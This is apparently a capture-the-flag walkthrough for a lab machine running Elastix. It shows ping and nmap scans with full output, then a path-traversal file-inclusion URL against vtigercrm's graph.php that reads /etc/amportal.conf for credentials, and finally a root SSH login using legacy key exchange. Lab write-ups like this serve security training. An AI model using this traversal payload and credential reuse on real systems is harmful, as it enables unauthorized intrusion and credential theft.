1. ping 10.10.10.7

PING 10.10.10.7 (10.10.10.7) 56(84) bytes of data.

64 bytes from 10.10.10.7: icmp\_seq=9 ttl=63 time=283 ms

64 bytes from 10.10.10.7: icmp\_seq=10 ttl=63 time=201 ms

64 bytes from 10.10.10.7: icmp\_seq=11 ttl=63 time=220 ms

64 bytes from 10.10.10.7: icmp\_seq=12 ttl=63 time=242 ms

64 bytes from 10.10.10.7: icmp\_seq=13 ttl=63 time=261 ms

64 bytes from 10.10.10.7: icmp\_seq=14 ttl=63 time=282 ms

64 bytes from 10.10.10.7: icmp\_seq=15 ttl=63 time=187 ms

^C

--- 10.10.10.7 ping statistics ---

17 packets transmitted, 7 received, 58.8235% packet loss, time 16214ms

rtt min/avg/max/mdev = 187.412/239.675/282.746/35.350 ms

ttl 63 linux box

1. nmap -A -Pn -p- 10.10.10.7 --min-rate 10000

Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.

Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-01 08:17 EDT

Warning: 10.10.10.7 giving up on port because retransmission cap hit (10).

Nmap scan report for 10.10.10.7

Host is up (0.20s latency).

Not shown: 64886 closed ports, 633 filtered ports

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 4.3 (protocol 2.0)

| ssh-hostkey:

| 1024 ad:ee:5a:bb:69:37:fb:27:af:b8:30:72:a0:f9:6f:53 (DSA)

|\_ 2048 bc:c6:73:59:13:a1:8a:4b:55:07:50:f6:65:1d:6d:0d (RSA)

25/tcp open smtp Postfix smtpd

|\_smtp-commands: beep.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, ENHANCEDSTATUSCODES, 8BITMIME, DSN,

80/tcp open http Apache httpd 2.2.3

|\_http-server-header: Apache/2.2.3 (CentOS)

|\_http-title: Did not follow redirect to https://10.10.10.7/

110/tcp open pop3 Cyrus pop3d 2.3.7-Invoca-RPM-2.3.7-7.el5\_6.4

|\_pop3-capabilities: UIDL APOP STLS AUTH-RESP-CODE IMPLEMENTATION(Cyrus POP3 server v2) USER RESP-CODES PIPELINING LOGIN-DELAY(0) EXPIRE(NEVER) TOP

111/tcp open rpcbind 2 (RPC #100000)

| rpcinfo:

| program version port/proto service

| 100000 2 111/tcp rpcbind

| 100000 2 111/udp rpcbind

| 100024 1 875/udp status

|\_ 100024 1 878/tcp status

143/tcp open imap Cyrus imapd 2.3.7-Invoca-RPM-2.3.7-7.el5\_6.4

|\_imap-capabilities: Completed IMAP4 NAMESPACE MAILBOX-REFERRALS UNSELECT URLAUTHA0001 ANNOTATEMORE RENAME CONDSTORE LIST-SUBSCRIBED IMAP4rev1 RIGHTS=kxte LISTEXT UIDPLUS IDLE CATENATE X-NETSCAPE ACL STARTTLS ID THREAD=REFERENCES THREAD=ORDEREDSUBJECT SORT=MODSEQ MULTIAPPEND NO QUOTA CHILDREN BINARY SORT LITERAL+ OK ATOMIC

443/tcp open ssl/https?

| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--

| Not valid before: 2017-04-07T08:22:08

|\_Not valid after: 2018-04-07T08:22:08

|\_ssl-date: 2021-05-01T12:28:44+00:00; +7m20s from scanner time.

878/tcp open status 1 (RPC #100024)

993/tcp open ssl/imap Cyrus imapd

|\_imap-capabilities: CAPABILITY

995/tcp open pop3 Cyrus pop3d

3306/tcp open mysql MySQL (unauthorized)

|\_ssl-cert: ERROR: Script execution failed (use -d to debug)

|\_ssl-date: ERROR: Script execution failed (use -d to debug)

|\_sslv2: ERROR: Script execution failed (use -d to debug)

|\_tls-alpn: ERROR: Script execution failed (use -d to debug)

|\_tls-nextprotoneg: ERROR: Script execution failed (use -d to debug)

4190/tcp open sieve Cyrus timsieved 2.3.7-Invoca-RPM-2.3.7-7.el5\_6.4 (included w/cyrus imap)

4445/tcp open upnotifyp?

4559/tcp open hylafax HylaFAX 4.3.10

5038/tcp open asterisk Asterisk Call Manager 1.1

10000/tcp open http MiniServ 1.570 (Webmin httpd)

|\_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).

No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).

TCP/IP fingerprint:

OS:SCAN(V=7.91%E=4%D=5/1%OT=22%CT=1%CU=41448%PV=Y%DS=2%DC=T%G=Y%TM=608D4882

OS:%P=x86\_64-pc-linux-gnu)SEQ(SP=CA%GCD=2%ISR=CE%TI=Z%CI=Z%II=I%TS=A)OPS(O1

OS:=M54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST11NW

OS:7%O6=M54DST11)WIN(W1=16A0%W2=16A0%W3=16A0%W4=16A0%W5=16A0%W6=16A0)ECN(R=

OS:Y%DF=Y%T=40%W=16D0%O=M54DNNSNW7%CC=N%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%R

OS:D=0%Q=)T2(R=N)T3(R=Y%DF=Y%T=40%W=16A0%S=O%A=S+%F=AS%O=M54DST11NW7%RD=0%Q

OS:=)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A

OS:=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%D

OS:F=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL

OS:=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 2 hops

Service Info: Hosts: beep.localdomain, 127.0.0.1, example.com, localhost; OS: Unix

Host script results:

|\_clock-skew: 7m19s

TRACEROUTE (using port 199/tcp)

HOP RTT ADDRESS

1 270.36 ms 10.10.14.1

2 270.72 ms 10.10.10.7

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 442.76 seconds

1. <https://www.exploit-db.com/exploits/37637>

open the following URL in browser

<https://10.10.10.7/vtigercrm/graph.php?current_language=../../../../../../../..//etc/amportal.conf%00&module=Accounts&action>

click view source and copy username and password

1. ssh -x [root@10.10.10.7](mailto:root@10.10.10.7)

Unable to negotiate with 10.10.10.7 port 22: no matching key exchange method found. Their offer: diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1

1. ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 10.10.10.7

The authenticity of host '10.10.10.7 (10.10.10.7)' can't be established.

RSA key fingerprint is SHA256:Ip2MswIVDX1AIEPoLiHsMFfdg1pEJ0XXD5nFEjki/hI.

Are you sure you want to continue connecting (yes/no/[fingerprint])? yes

Warning: Permanently added '10.10.10.7' (RSA) to the list of known hosts.

root@10.10.10.7's password:

Last login: Tue Jul 16 11:45:47 2019

Welcome to Elastix

----------------------------------------------------

To access your Elastix System, using a separate workstation (PC/MAC/Linux)

Open the Internet Browser using the following URL:

http://10.10.10.7

[root@beep ~]# whoami

root

[root@beep ~]#